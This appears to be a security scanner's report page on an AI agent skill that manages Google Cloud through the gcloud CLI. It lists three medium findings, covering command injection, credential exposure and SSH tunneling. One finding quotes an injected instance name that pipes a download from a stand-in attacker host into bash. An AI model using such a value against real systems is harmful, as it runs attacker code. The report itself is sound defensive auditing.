gcloud
Verdict safe, but 3 findings (3 medium), mainly command injection, data exfiltration, unauthorized tool use. Most recent scan 2026-02-06.
This Google Cloud Platform skill provides legitimate GCP management functionality but has MEDIUM severity security concerns primarily around command injection risks and credential management. The skill demonstrates standard gcloud CLI usage patterns but lacks critical security guidance for: 1) Input validation to prevent command injection, 2) Credential protection and scope management, 3) SSH tunneling security implications. The skill does not contain malicious code or data exfiltration attempts - it's a straightforward GCP CLI wrapper. However, the absence of security guardrails in the instructions could lead to unsafe agent behavior when processing untrusted user input. The missing referenced files (Cloud.py, file.py, source.py, backup.py) appear to be parsing artifacts from the markdown content and are not actual security concerns. Primary risks are operational security issues rather than intentional threats.
Scanner's overall assessment (LLM analyzer)
Second scanner: NVIDIA SkillSpector
Independent static run, no language model, over the same files as the Cisco scan above. How the two scanners compare across the whole corpus: Two scanners, one corpus.
What this skill does
Manage Google Cloud Platform resources via gcloud CLI. Use for Compute Engine VMs, Cloud Run services, Firebase Hosting, Cloud Storage, and project management. Covers deployment, monitoring, logs, and SSH access.
- Package
- 1 file, 12 KB
- SKILL.md
- 1424 words, 12+ sections
- Code
- None. Instructions only.
SKILL.md covers: Google Cloud Platform Skill · Installation · gcloud CLI (one-time setup) · Download and extract · Install (adds to PATH via .bashrc) · Reload shell or source · Authenticate · Firebase CLI · Quick Reference · Authentication & Config · List authenticated accounts · Switch active account
Findings
MEDIUM Command Injection Risk via Unvalidated User Input in gcloud Commands Command Injectionllm
The skill instructions demonstrate gcloud CLI commands with placeholder variables (INSTANCE_NAME, ZONE, PROJECT_ID, SERVICE_NAME, REGION, etc.) that would be populated from user input. When an agent executes these commands via Bash tool, unsanitized user input could lead to command injection. For example, a malicious INSTANCE_NAME like 'vm; curl attacker.com | bash' could execute arbitrary commands. The skill provides no input validation guidance or sanitization requirements.
SKILL.md
Examples: 'gcloud compute ssh INSTANCE_NAME --zone ZONE --project PROJECT_ID --command "uptime"' and 'gcloud compute instances start INSTANCE_NAME --zone ZONE --project PROJECT_ID' - all use unvalidated placeholders that accept user input directly into shell commands.MEDIUM Credential Exposure Risk via gcloud auth login Interactive Flow Data Exfiltrationllm
The installation instructions require 'gcloud auth login' which opens a browser-based OAuth flow. While this is the standard authentication method, the skill provides no guidance on: 1) Verifying the authentication scope requested, 2) Protecting the resulting credential files (~/.config/gcloud/), 3) Credential rotation policies, 4) Using service accounts instead of user credentials for automation. An agent following these instructions could inadvertently expose user credentials or grant excessive permissions.
SKILL.md
Installation section: '# Authenticate\ngcloud auth login' with no security guidance on credential management, scope verification, or service account alternatives.MEDIUM SSH Tunneling Capability Enables Unauthorized Network Access Unauthorized Tool Usellm
The skill demonstrates SSH port forwarding ('-L 8080:localhost:8080') which could be abused to: 1) Bypass network security controls, 2) Access internal services not intended for external exposure, 3) Create persistent backdoor tunnels, 4) Exfiltrate data through tunneled connections. The instruction provides this capability without security warnings or use case restrictions.
SKILL.md
'gcloud compute ssh INSTANCE_NAME --zone ZONE --project PROJECT_ID -- -L 8080:localhost:8080' demonstrates port forwarding without security context or restrictions.What is in the package
| File | Kind | Size |
|---|---|---|
SKILL.md | doc | 12 KB |
External hosts referenced
cloud.google.com dl.google.com
Hostnames that appear in the skill's files. Referencing a host is not a finding; compare against the findings above and the skill's stated purpose.
Package contents recorded 2026-10-22. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.
What we checked
- Static analyzer. Pattern rules over SKILL.md and bundled files: known-bad commands, exfiltration URLs, secrets, obfuscation.
- Behavioral analyzer. Checks what the skill asks the agent to do against what its description claims it does.
- Llm analyzer. A language model reads the skill and reports intent-level issues the rules cannot express.
- Trigger analyzer. Looks for instructions that fire on conditions the user did not ask for.
- Meta analyzer. A second model pass that validates, deduplicates and re-scores the other analyzers' findings.
What we did not check
- Runtime behaviour. The skill was not executed; findings come from reading its files.
- Anything fetched at install or run time, including remote scripts, package dependencies, and URLs the skill tells the agent to open.
- Content the analyzers cannot read: images, binaries, and some non-English text.
- Known scanner bypass classes. See the methodology and limitations page.
Sources
- Repository: https://clawhub.ai/skills/gcloud
- Raw scan result: google-cloud-platform-scan.json
- Badge for your README:
- Request a re-scan